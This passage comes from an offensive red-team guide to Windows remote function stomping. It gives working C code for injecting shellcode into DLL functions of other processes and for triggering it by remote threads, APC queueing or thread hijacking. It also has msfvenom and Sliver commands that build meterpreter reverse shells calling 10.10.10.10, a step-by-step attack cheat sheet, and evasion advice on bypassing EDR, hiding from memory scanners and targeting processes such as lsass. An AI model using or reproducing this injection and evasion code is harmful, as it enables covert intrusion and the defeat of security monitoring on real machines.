typedef struct {
LPVOID remoteFuncAddr;
unsigned char* originalBytes;
SIZE_T originalLen;
HANDLE hProc;
} RESTORE_CONTEXT;
BOOL RestoreOriginalFunction(RESTORE_CONTEXT* ctx) {
DWORD oldProtect = 0;
// Step 1: Make function writable again
if (!VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
ctx->originalLen, PAGE_READWRITE, &oldProtect)) {
printf("[-] Restore: VirtualProtectEx (→RW) failed: %lu\n", GetLastError());
return FALSE;
}
// Step 2: Write original bytes back
SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(ctx->hProc, ctx->remoteFuncAddr,
ctx->originalBytes, ctx->originalLen, &bytesWritten)) {
printf("[-] Restore: WriteProcessMemory failed: %lu\n", GetLastError());
VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
ctx->originalLen, oldProtect, &oldProtect);
return FALSE;
}
// Step 3: Restore execute protection
DWORD dummy = 0;
VirtualProtectEx(ctx->hProc, ctx->remoteFuncAddr,
ctx->originalLen, PAGE_EXECUTE_READ, &dummy);
printf("[+] Function restored — original bytes written back\n");
return TRUE;
}
// ─── Example Usage ────────────────────────────────────────────────────────────
// Call after shellcode executes (callback thread, timed restore, etc.)
//
// RESTORE_CONTEXT ctx = {
// .remoteFuncAddr = remoteFuncAddr,
// .originalBytes = originalBytes,
// .originalLen = shellcodeLen,
// .hProc = hProc
// };
// Sleep(5000); // Wait for shellcode to run
// RestoreOriginalFunction(&ctx); // Restore original bytes
11. Execution Trigger Methods
[STOMP] Multiple techniques to trigger the stomped function — each with different OPSEC tradeoffs:
11.1 CreateRemoteThread (Noisiest, Most Direct)
// Start a thread at the stomped function address
// [DETECT] CreateRemoteThread is heavily monitored by EDR
HANDLE hThread = CreateRemoteThread(
hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteFuncAddr,
NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
11.2 NtCreateThreadEx (Lower Level)
// Lower-level alternative to CreateRemoteThread
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
PVOID ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
pNtCreateThreadEx NtCreateThreadEx =
(pNtCreateThreadEx)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
HANDLE hThread = NULL;
NTSTATUS status = NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hProc,
remoteFuncAddr, // Start address = stomped function
NULL, // Argument
0, // CreateFlags (0 = run immediately)
0, 0, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
11.3 APC Queue Injection (Stealthier)
// [EVASION] Queue an APC to an alertable thread — avoids new thread creation
// Requires an alertable thread in target process (SleepEx, WaitForSingleObjectEx, etc.)
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
if (hThread) {
// Queue APC to stomped function address
QueueUserAPC(
(PAPCFUNC)remoteFuncAddr, // Points at stomped function (shellcode)
hThread,
0
);
CloseHandle(hThread);
break;
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
// Shellcode runs when an alertable wait function is called in the target thread
11.4 Thread Hijacking (No New Thread)
// [EVASION] Hijack existing thread — suspend, redirect RIP, resume
// Most stealthy: no new thread creation, no APC queue
// Find a thread in the target process
DWORD threadId = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
threadId = te.th32ThreadID;
break;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
if (threadId) {
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, threadId);
SuspendThread(hThread);
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
// Redirect RIP to stomped function (shellcode now lives there)
ctx.Rip = (DWORD64)remoteFuncAddr;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
// Thread now executes our shellcode when resumed
CloseHandle(hThread);
}
12. Variant: Threadless Remote Function Stomping
[EVASION] Threadless injection avoids creating ANY thread — no CreateRemoteThread, no APC. Execution is triggered via a hook on an existing function call. When the target process naturally calls the stomped function, shellcode runs in the existing thread context.
Flow:
1. Stomp function A with a JMP to our shellcode
2. Our shellcode:
a. Executes the actual payload
b. Restores function A (removes the JMP)
c. Calls the original function code (stored aside)
3. To the target process: function A was called, returned normally
Advantage:
✅ No new thread created
✅ No APC queued
✅ Execution happens in an existing, trusted thread
✅ Thread's call stack looks completely legitimate
// threadless_stomp.c — Trampolining for threadless execution
// Stub: JMP to shellcode (x64 absolute JMP via push+ret)
// Overwrites first 14 bytes of target function with:
// push rax ; 50
// mov rax, <shellcode_address> ; 48 B8 xx xx xx xx xx xx xx xx
// xchg rax, [rsp] ; 48 87 04 24
// ret ; C3
// Total: 14 bytes trampoline
void BuildTrampoline(unsigned char* trampoline, LPVOID shellcodeAddr) {
trampoline[0] = 0x50; // push rax
trampoline[1] = 0x48; // \
trampoline[2] = 0xB8; // | mov rax, <addr>
*(UINT64*)(&trampoline[3]) = (UINT64)shellcodeAddr; // 8 bytes
trampoline[11] = 0x48; // \
trampoline[12] = 0x87; // | xchg rax, [rsp]
trampoline[13] = 0x04; // /
trampoline[14] = 0x24; //
trampoline[15] = 0xC3; // ret → jumps to shellcode_address
}
// Then write 16-byte trampoline to remote function instead of full shellcode
// The shellcode itself is placed elsewhere (another stomped function or mapped mem)
13. Variant: Heaven's Gate + Function Stomping (32→64)
[EVASION] HijackLoader's documented approach: uses Heaven's Gate to call 64-bit NtProtectVirtualMemory and NtWriteVirtualMemory from a 32-bit process to stomp a 64-bit target's .text section. This bypasses most 32-bit EDR hooks.
Architecture:
32-bit injector → Heaven's Gate → 64-bit NT calls → stomp 64-bit target
Heaven's Gate = trick to call 64-bit code from a WoW64 (32-bit) process by
switching to 64-bit mode (CS = 0x33) via a far JMP.
HijackLoader real-world flow (CrowdStrike documented):
1. Maps mshtml.dll into cmd.exe
2. Heaven's Gate → NtProtectVirtualMemory(cmd.exe, .text of mshtml, RWX)
3. Heaven's Gate → NtWriteVirtualMemory(cmd.exe, mshtml .text, shellcode)
4. Heaven's Gate → NtSuspendThread(cmd.exe main thread)
5. NtGetContextThread → save thread context
6. NtSetContextThread → set EIP = shellcode location
7. NtResumeThread → execute shellcode
14. Real-World Malware Usage (HijackLoader)
[DETECT] CrowdStrike documented HijackLoader (2025) using this exact technique in the wild:
Documented HijackLoader behavior:
├─ Spawns cmd.exe
├─ Maps mshtml.dll into cmd.exe via NtMapViewOfSection
├─ Uses Heaven's Gate (WoW64 → 64-bit calls):
│ NtProtectVirtualMemory(cmd.exe, mshtml .text section, RWX)
│ NtWriteVirtualMemory(cmd.exe, mshtml .text, 3rd-stage shellcode)
├─ Triggers execution via thread context manipulation:
│ NtSuspendThread(main thread of cmd.exe)
│ NtGetContextThread + NtSetContextThread (redirect EIP)
│ NtResumeThread
└─ Result: shellcode runs inside cmd.exe's mshtml.dll .text section
APT usage:
- Bumblebee loader — module stomping on amsi.dll AddressOfEntryPoint
- BackdoorDiplomacy (APT) — DLL hollowing / function stomping variant
- Naikon APT — documented MITRE T1055 process injection with stomping
15. Tools Reference
15.1 RustRedOps — Reference Implementation
# [TOOL] Complete Rust-based red team arsenal including Remote Function Stomping
# GitHub: https://github.com/joaoviictorti/RustRedOps
git clone https://github.com/joaoviictorti/RustRedOps
cd RustRedOps/Remote_Function_Stomping_Injection
# Build
cargo build --release
# Run (ensure target DLL is loaded in target process first)
cargo run
# Or run binary directly
target/release/rfs_injection.exe
15.2 FunctionStomping by Idov31 (Original PoC)
# [TOOL] Original Function Stomping proof-of-concept (C++ header + Rust)
# GitHub: https://github.com/Idov31/FunctionStomping
# Blog: https://idov31.github.io/2022-01-28-function-stomping/
git clone https://github.com/Idov31/FunctionStomping
cd FunctionStomping
# C++ header usage:
# 1. Include the header in your project:
#include "functionstomping.hpp"
# 2. Call StompFunction with pid, dll name, function name, shellcode:
int main() {
DWORD pid = 1234; // Target PID
StompFunction(pid, "kernel32.dll", "Sleep", shellcode, shellcodeLen);
}
# Rust version — standalone binary:
cargo build --release
./target/release/functionstomping <PID>
15.3 Local-And-Remote_Function_Stomping (AbdouRoumi)
# [TOOL] Both local and remote variants, MITRE T1055.012 labeled
# GitHub: https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
git clone https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
# Remote version:
cd Remote_Function_Stomping
# Edit config: set target process, DLL, function, and shellcode
# Compile with Visual Studio or cl.exe
cl.exe remote_stomp.c /Fe:remote_stomp.exe
15.4 wizardy0ga/RemoteFunctionStomper
# [TOOL] C program — reads shellcode from .bin file, targets specific function
# GitHub: https://github.com/wizardy0ga/RemoteFunctionStomper
git clone https://github.com/wizardy0ga/RemoteFunctionStomper
cd RemoteFunctionStomper
# Usage:
# RemoteFunctionStomper.exe <process_name> <dll_name> <function_name> <payload.bin>
RemoteFunctionStomper.exe notepad.exe kernel32.dll Sleep payload.bin
# The tool:
# 1. Reads shellcode from payload.bin
# 2. Finds the target process
# 3. Checks the DLL is loaded (validation added)
# 4. Resolves function address via module snapshot
# 5. Writes and executes shellcode via remote thread
15.5 Enumeration & Validation Tools
# [TOOL] Check which DLLs are loaded in a process before stomping
# Process Hacker (GUI — shows all loaded modules + base addresses)
# Download: https://processhacker.sourceforge.io/
# ListDLLs (Sysinternals)
listdlls.exe notepad.exe
listdlls.exe -d kernel32.dll # Which processes have kernel32 loaded?
# PowerShell — enumerate loaded modules
Get-Process notepad | ForEach-Object { $_.Modules } | Select-Object ModuleName, BaseAddress
# x64dbg — inspect function body size before stomping
# 1. Open target binary in x64dbg
# 2. Navigate to target function: ctrl+G → "kernel32.Sleep"
# 3. Scroll down to RET instruction to estimate body size
# 4. Right-click → Follow in dump → compare hex bytes
# PE-bear / CFF Explorer — offline PE analysis
# Shows export table → function RVAs → compute expected addresses
# ThreatCheck — test if stomped binary triggers AV
ThreatCheck.exe -f rfs.exe -e Defender
15.6 Payload Generation
# [TOOL] Generate shellcode to inject via function stomping
# msfvenom (Metasploit)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f raw -o payload.bin
# Havoc C2 (modern shellcode)
# https://github.com/HavocFramework/Havoc
# Generate → Shellcode format → raw .bin
# Sliver C2
sliver> generate shellcode --mtls 10.10.10.10 --save payload.bin
# IMPORTANT: Encrypt the shellcode BEFORE stomping
# Raw msfvenom shellcode has known signatures → AV flags before stomp even helps
# Use XOR + AES from the Shellcode Encryption reference
python3 aes_encrypt.py payload.bin # Encrypt
# Loader decrypts in memory → then stomp with decrypted bytes
16. Detection & Evasion
16.1 What EDR Looks For
Static analysis:
[DETECT] Loader binary imports:
├─ VirtualProtectEx (changing existing memory perms — red flag)
├─ WriteProcessMemory (writing to another process — red flag)
├─ CreateToolhelp32Snapshot + Module32Next (enumerating modules)
├─ GetProcAddress (resolving function addresses)
└─ CreateRemoteThread (executing in another process)
[DETECT] PE section analysis:
├─ Check import table for the above combination
└─ If all present simultaneously → high-confidence injection indicator
Behavioral analysis:
[DETECT] Event sequence:
├─ OpenProcess → CreateToolhelp32Snapshot → Module32Next
│ (classic module enumeration before stomping)
├─ VirtualProtectEx on existing .text page (R-X → RW then back to R-X)
│ (changing existing executable code — not normal for benign processes)
├─ WriteProcessMemory targeting a DLL's code section
│ (writing to code, not data — highly suspicious)
└─ CreateRemoteThread starting at an address inside a known DLL
(thread in legit DLL range, but code was just modified)
[DETECT] Memory forensics:
├─ "Modified Code" (SharedOriginal flag):
│ EDR checks if DLL page matches on-disk hash
│ Stomped function ≠ on-disk bytes → "modified code" alert
├─ hollows-hunter (Hasherezade):
│ NOTE: Idov31's original report (2022) said hollows-hunter
│ did NOT detect function stomping at the time.
│ This may have changed with newer versions.
└─ Pe-sieve scanner:
Compares in-memory module bytes to disk → detects overwrite
16.2 Evasion Improvements
1. Use NT-Level APIs to bypass Win32 hooks
// [EVASION] Replace VirtualProtectEx + WriteProcessMemory with NT calls
// Bypasses EDR hooks on the Win32 layer
NtProtectVirtualMemory(...) // instead of VirtualProtectEx
NtWriteVirtualMemory(...) // instead of WriteProcessMemory
2. Direct Syscalls (bypass ntdll hooks entirely)
[EVASION] Hell's Gate / Halo's Gate / Tartarus' Gate:
- Resolve SSN (System Service Number) for NT functions at runtime
- Call kernel directly via 'syscall' instruction
- Bypasses all userland hooks placed by EDR in ntdll.dll
- SSN changes per Windows version — must be resolved dynamically
Libraries implementing this:
- SysWhispers3: https://github.com/klezVirus/SysWhispers3
- RecycledGate: https://github.com/thefLink/RecycledGate
3. Stomp a Less-Monitored Function
[EVASION] Avoid high-value hook targets:
❌ NtAllocateVirtualMemory (almost always hooked)
❌ CreateRemoteThread (monitored)
❌ VirtualProtectEx on ntdll functions
✅ Stomp an obscure function in a less-monitored DLL
(cryptsp.dll, msvcp_win.dll, diasymreader.dll, etc.)
✅ Avoid stomping ntdll.dll itself — too risky and detectable
4. Combine with Indirect Syscalls
[EVASION] Indirect syscalls:
- Instead of syscall directly (detectable by call stack analysis)
- JMP to ntdll's syscall instruction
- Call stack shows execution coming from ntdll address space
- Looks legitimate to call stack-based EDR checks
5. Restore Bytes After Execution
// [EVASION] After shellcode executes, restore original function bytes
// Memory scanner now sees original function code
// Pe-sieve and hollows-hunter no longer find the stomp
RestoreOriginalFunction(&ctx); // See §10
6. Target Legitimate Process / DLL Combination
[EVASION] Best target combinations:
Process | DLL | Function | Reason
────────────────────────────────────────────────────────────────
notepad.exe | kernel32.dll | FlsGetValue | Almost never called
explorer.exe | uxtheme.dll | CloseThemeData | Rarely called at runtime
svchost.exe | rpcrt4.dll | I_RpcFree | Loaded, rarely called
msiexec.exe | msi.dll | MsiGetProperty | Loaded, obscure
OneDrive.exe | ntdll.dll | RtlDecompressBuffer | Rarely called
16.3 Detection Summary Table
| Detection Method | Detects? | Bypass |
|---|---|---|
| Static signature scan | No (no known sigs) | N/A |
| VirtualProtectEx monitoring | Yes | Use NtProtectVirtualMemory |
| WriteProcessMemory monitoring | Yes | Use NtWriteVirtualMemory |
| CreateRemoteThread monitoring | Yes | APC injection or thread hijack |
| Module enumeration detection | Partial | Space queries in bursts |
| hollows-hunter (2022) | No | N/A (original report) |
| Pe-sieve / modified code | Yes | Restore original bytes after exec |
| Behavioral sequencing | Yes | Syscalls + threadless injection |
| Memory hash comparison | Yes | Restore bytes; use threadless |
17. Comparison Matrix
| Technique | New Memory? | Noisy APIs | Calls RWX? | EDR Evasion | Complexity |
|---|---|---|---|---|---|
| Classic Injection | Yes | VirtualAllocEx + CRT | Yes | Low | Low |
| Module Stomping | No (LoadLibraryEx) | LoadLibraryEx + CRT | No | Medium | Medium |
| Remote Function Stomping | No | VirtualProtectEx + WPM | No | High | Medium |
| NT-Level Function Stomping | No | NtProtect + NtWrite | No | Very High | High |
| Threadless Function Stomping | No | NtProtect + NtWrite | No | Maximum | Very High |
| Thread Hijacking | Yes (usually) | VirtualAllocEx + CRT | No | Medium | High |
| APC Injection | Yes | VirtualAllocEx + QAPC | No | Medium | Medium |
| Heaven's Gate Stomp | No | NT (32→64 transition) | No | Very High | Very High |
18. Cheat Sheet
Quick Attack Workflow
# Step 1: Generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 -f raw -o payload.bin
# Step 2: Encrypt shellcode (XOR + AES) before embedding
python3 aes_encrypt.py # outputs: payload.enc + C key arrays
# Step 3: Identify target process and confirm DLL is loaded
listdlls.exe notepad.exe | grep kernel32
# Step 4: Verify stomping function is large enough for shellcode
# x64dbg → navigate to function → scroll to RET → measure size
# Step 5: Compile and run injector
cl.exe rfs.c /Fe:rfs.exe
rfs.exe
# Step 6: Start listener
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"
Required Windows API Sequence
Classic (Win32):
OpenProcess → CreateToolhelp32Snapshot → Module32Next
→ VirtualProtectEx (R-X → RW)
→ WriteProcessMemory
→ VirtualProtectEx (RW → R-X)
→ CreateRemoteThread
Stealthier (NT APIs):
OpenProcess → CreateToolhelp32Snapshot → Module32Next
→ NtProtectVirtualMemory (R-X → RW)
→ NtWriteVirtualMemory
→ NtProtectVirtualMemory (RW → R-X)
→ NtCreateThreadEx / APC / Thread Hijack
Stealthiest (Syscalls + Threadless):
OpenProcess → [module enum via NtQuery]
→ Syscall: NtProtectVirtualMemory
→ Syscall: NtWriteVirtualMemory
→ Syscall: NtProtectVirtualMemory
→ Trampoline hook → triggered by target's own code
Memory Permission Flow
Before Stomp: .text section → PAGE_EXECUTE_READ (R-X)
During Stomp: .text section → PAGE_READWRITE (RW) ← EDR alert window
After Stomp: .text section → PAGE_EXECUTE_READ (R-X)
After Restore: .text section → PAGE_EXECUTE_READ (R-X, original bytes)
Decision Tree — Which Variant to Use?
Remote Function Stomping Needed?
│
├─ Target is well-known process (notepad, calc, explorer)?
│ ├─ Yes, EDR present (CrowdStrike, SentinelOne)?
│ │ └─ NT-level APIs + threadless injection + byte restore
│ └─ Yes, basic Defender only?
│ └─ Win32 APIs + CreateRemoteThread → sufficient
│
├─ Target is high-value system process (svchost, lsass)?
│ └─ NT-level + Direct syscalls + APC (no new thread)
│
├─ 32-bit injector → 64-bit target?
│ └─ Heaven's Gate + NtProtectVirtualMemory + NtWriteVirtualMemory
│
├─ Need to avoid thread creation entirely?
│ └─ Threadless variant (trampoline hook, trigger via natural call)
│
└─ Learning / lab environment?
└─ Classic Win32 API variant (§7) — simplest to understand
Common Pitfalls
[!] Target DLL not loaded → Module32Next won't find it → injection fails
Fix: ensure the DLL is loaded (LoadLibraryEx remote call first)
[!] Shellcode too large for function body → overwrites adjacent function
Fix: verify function size > shellcode size before stomping
[!] Stomped function is called by target process → crash
Fix: choose a function that's rarely/never called in that process
[!] VirtualProtectEx fails with ERROR_ACCESS_DENIED
Fix: ensure OpenProcess has PROCESS_VM_OPERATION | PROCESS_VM_WRITE
[!] WriteProcessMemory writes 0 bytes
Fix: confirm PAGE_READWRITE protection was actually applied first
[!] CreateRemoteThread fails with ERROR_NOT_ENOUGH_MEMORY
Fix: target process stack limit — reduce thread stack size parameter
[!] Shellcode has null bytes → breaks if loader is string-based
Fix: use XOR encoding to eliminate null bytes before stomping
References & Resources
Primary Research / PoCs: - Idov31 — FunctionStomping — https://github.com/Idov31/FunctionStomping - Idov31 Blog — "The Good, The Bad And The Stomped Function" — https://idov31.github.io/2022-01-28-function-stomping/ - RastaMouse — C# variant blog post (parallel discovery) - wizardy0ga/RemoteFunctionStomper — https://github.com/wizardy0ga/RemoteFunctionStomper - AbdouRoumi/Local-And-Remote_Function_Stomping — https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
Multi-technique Collections: - RustRedOps (joaoviictorti) — https://github.com/joaoviictorti/RustRedOps (includes Remote Function Stomping) - awesome-injection (itaymigdal) — https://github.com/itaymigdal/awesome-injection
Related Techniques (Stomping Family): - Module Stomping — https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection - Threadless Module Stomping — https://github.com/CCob/ThreadlessInject - Nigerald's Blog — Module Stomping — https://dtsec.us/2023-11-04-ModuleStompin/
Real-World Malware Analysis: - CrowdStrike — HijackLoader Expands Techniques — https://www.crowdstrike.com/en-us/blog/hijackloader-expands-techniques/ - MITRE T1055 — Process Injection — https://attack.mitre.org/techniques/T1055/
Detection & Defense: - Red Team Notes (ired.team) — https://www.ired.team - EDR Bypass Methods (S3cur3Th1sSh1t) — https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
Syscall Evasion: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - Hell's Gate — https://github.com/am0nsec/HellsGate - HADESS EDR Evasion with Syscalls — https://hadess.io/edr-evasion-techniques-using-syscalls/